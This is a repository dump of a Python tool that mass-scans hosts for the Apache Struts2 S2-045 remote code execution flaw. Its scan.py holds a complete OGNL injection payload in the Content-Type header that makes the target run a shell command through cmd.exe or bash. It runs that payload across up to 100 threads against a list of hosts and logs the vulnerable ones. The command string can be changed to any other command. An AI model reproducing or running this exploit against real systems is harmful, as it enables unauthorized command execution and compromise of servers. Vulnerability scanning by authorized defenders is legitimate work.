├── .gitignore ├── README.md ├── hosts.txt ├── lib ├── __init__.py └── consle_width.py ├── scan.py └── screenshot.png /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | .hypothesis/ 46 | 47 | # Translations 48 | *.mo 49 | *.pot 50 | 51 | # Django stuff: 52 | *.log 53 | local_settings.py 54 | 55 | # Flask stuff: 56 | instance/ 57 | .webassets-cache 58 | 59 | # Scrapy stuff: 60 | .scrapy 61 | 62 | # Sphinx documentation 63 | docs/_build/ 64 | 65 | # PyBuilder 66 | target/ 67 | 68 | # IPython Notebook 69 | .ipynb_checkpoints 70 | 71 | # pyenv 72 | .python-version 73 | 74 | # celery beat schedule file 75 | celerybeat-schedule 76 | 77 | # dotenv 78 | .env 79 | 80 | # virtualenv 81 | venv/ 82 | ENV/ 83 | 84 | # Spyder project settings 85 | .spyderproject 86 | 87 | # Rope project settings 88 | .ropeproject 89 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # struts2\_045\_scan # 2 | 3 | A multi-thread struts2_045 scanner. 4 | 5 | Struts2-045漏洞批量扫描工具. 6 | 7 | # Requirements # 8 | 9 | pip install requests 10 | 11 | # Usage # 12 | 13 | usage: scan.py [options] 14 | 15 | Struts2-045 Scanner. By LiJieJie (http://www.lijiejie.com) 16 | 17 | optional arguments: 18 | -h, --help show this help message and exit 19 | -f File New line delimited targets from File 20 | -t THREADS Num of scan threads, 100 by default 21 | 22 | # Screenshot # 23 | 24 | ![screenshot](screenshot.png) -------------------------------------------------------------------------------- /hosts.txt: -------------------------------------------------------------------------------- 1 | http://www.example.com 2 | 10.1.2.3 3 | 11.22.33.44 4 | http://www.test.com/test.action -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/struts2_045_scan/ff7fddc4e71c87538b441d1a8327d0e9c9532f29/lib/__init__.py -------------------------------------------------------------------------------- /lib/consle_width.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import shlex 4 | import struct 5 | import platform 6 | import subprocess 7 | 8 | 9 | def get_terminal_size(): 10 | """ getTerminalSize() 11 | - get width and height of console 12 | - works on linux,os x,windows,cygwin(windows) 13 | originally retrieved from: 14 | http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python 15 | """ 16 | current_os = platform.system() 17 | tuple_xy = None 18 | if current_os == 'Windows': 19 | tuple_xy = _get_terminal_size_windows() 20 | if tuple_xy is None: 21 | tuple_xy = _get_terminal_size_tput() 22 | # needed for window's python in cygwin's xterm! 23 | if current_os in ['Linux', 'Darwin'] or current_os.startswith('CYGWIN'): 24 | tuple_xy = _get_terminal_size_linux() 25 | if tuple_xy is None: 26 | print "default" 27 | tuple_xy = (80, 25) # default value 28 | return tuple_xy 29 | 30 | 31 | def _get_terminal_size_windows(): 32 | try: 33 | from ctypes import windll, create_string_buffer 34 | # stdin handle is -10 35 | # stdout handle is -11 36 | # stderr handle is -12 37 | h = windll.kernel32.GetStdHandle(-12) 38 | csbi = create_string_buffer(22) 39 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 40 | if res: 41 | (bufx, bufy, curx, cury, wattr, 42 | left, top, right, bottom, 43 | maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 44 | sizex = right - left + 1 45 | sizey = bottom - top + 1 46 | return sizex, sizey 47 | except: 48 | pass 49 | 50 | 51 | def _get_terminal_size_tput(): 52 | # get terminal width 53 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 54 | try: 55 | cols = int(subprocess.check_call(shlex.split('tput cols'))) 56 | rows = int(subprocess.check_call(shlex.split('tput lines'))) 57 | return (cols, rows) 58 | except: 59 | pass 60 | 61 | 62 | def _get_terminal_size_linux(): 63 | def ioctl_GWINSZ(fd): 64 | try: 65 | import fcntl 66 | import termios 67 | cr = struct.unpack('hh', 68 | fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 69 | return cr 70 | except: 71 | pass 72 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 73 | if not cr: 74 | try: 75 | fd = os.open(os.ctermid(), os.O_RDONLY) 76 | cr = ioctl_GWINSZ(fd) 77 | os.close(fd) 78 | except: 79 | pass 80 | if not cr: 81 | try: 82 | cr = (os.environ['LINES'], os.environ['COLUMNS']) 83 | except: 84 | return None 85 | return int(cr[1]), int(cr[0]) 86 | 87 | if __name__ == "__main__": 88 | sizex, sizey = get_terminal_size() 89 | print 'width =', sizex, 'height =', sizey -------------------------------------------------------------------------------- /scan.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # encoding:utf-8 3 | 4 | import argparse 5 | import sys 6 | import time 7 | import requests 8 | import threading 9 | import Queue 10 | from lib.consle_width import get_terminal_size 11 | 12 | 13 | lock = threading.Lock() 14 | scan_count = 0 15 | terminal_width = get_terminal_size()[0] 16 | requests.packages.urllib3.disable_warnings() 17 | 18 | 19 | def print_msg(msg, line_feed=False): 20 | if len(msg) > terminal_width - 1: 21 | msg = msg[:terminal_width - 4] + '...' 22 | sys.stdout.write('\r' + msg + (terminal_width - len(msg) - 1) * ' ') 23 | if line_feed: 24 | sys.stdout.write('\n') 25 | sys.stdout.flush() 26 | 27 | 28 | def poc(): 29 | global scan_count 30 | while True: 31 | try: 32 | host = queue.get(timeout=0.1) 33 | except: 34 | break 35 | try: 36 | if not host.lower().startswith('http'): 37 | host = 'http://%s' % host 38 | lock.acquire() 39 | scan_count += 1 40 | print_msg('[%s scanned/%s left] Scanning %s ' % (scan_count, queue.qsize(), host)) 41 | 42 | lock.release() 43 | headers = {} 44 | headers['User-Agent'] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) " \ 45 | "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 46 | cmd = 'env' 47 | headers['Content-Type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ 48 | "(#_memberAccess?(#_memberAccess=#dm):" \ 49 | "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ 50 | "(#ognlUtil=#container.getInstance" \ 51 | "(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ 52 | "(#ognlUtil.getExcludedPackageNames().clear())." \ 53 | "(#ognlUtil.getExcludedClasses().clear())." \ 54 | "(#context.setMemberAccess(#dm))))." \ 55 | "(#cmd='" + \ 56 | cmd + \ 57 | "')." \ 58 | "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase()." \ 59 | "contains('win')))." \ 60 | "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ 61 | "(#p=new java.lang.ProcessBuilder(#cmds))." \ 62 | "(#p.redirectErrorStream(true)).(#process=#p.start())." \ 63 | "(#ros=(@org.apache.struts2.ServletActionContext@getResponse()." \ 64 | "getOutputStream()))." \ 65 | "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ 66 | "(#ros.flush())}" 67 | data = '--40a1f31a0ec74efaa46d53e9f4311353\r\n' \ 68 | 'Content-Disposition: form-data; name="image1"\r\n' \ 69 | 'Content-Type: text/plain; charset=utf-8\r\n\r\ntest\r\n--40a1f31a0ec74efaa46d53e9f4311353--\r\n' 70 | resp = requests.post(host, data, verify=False, headers=headers, timeout=(4, 20)) 71 | 72 | if resp.text.find('LOGNAME=') >= 0: 73 | lock.acquire() 74 | _time = time.strftime('%H:%M:%S', time.localtime()) 75 | print_msg('[%s] %s' % (_time, host), True) 76 | with open('vul_hosts.txt', 'a') as outFile: 77 | outFile.write(host + '\n') 78 | lock.release() 79 | except Exception, e: 80 | pass 81 | 82 | 83 | if __name__ == '__main__': 84 | parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter, 85 | description='Struts2-045 Scanner. By LiJieJie (http://www.lijiejie.com)', 86 | usage='scan.py [options]') 87 | parser.add_argument('-f', metavar='File', type=str, default='hosts.txt', 88 | help='New line delimited targets from File') 89 | parser.add_argument('-t', metavar='THREADS', type=int, default=100, 90 | help='Num of scan threads, 100 by default') 91 | 92 | if len(sys.argv) == 1: 93 | sys.argv.append('-h') 94 | 95 | args = parser.parse_args() 96 | 97 | queue = Queue.Queue() 98 | for host in open(args.f).xreadlines(): 99 | host = host.strip() 100 | if not host: 101 | continue 102 | for _host in host.split(): 103 | queue.put(_host.strip().strip(',')) 104 | start_time = time.time() 105 | threads = [] 106 | for i in range(args.t): 107 | t = threading.Thread(target=poc) 108 | threads.append(t) 109 | t.start() 110 | 111 | for t in threads: 112 | t.join() 113 | print_msg('[+] Done. %s hosts scanned in %.1f seconds.' % (scan_count, time.time() - start_time), True) 114 | -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/struts2_045_scan/ff7fddc4e71c87538b441d1a8327d0e9c9532f29/screenshot.png --------------------------------------------------------------------------------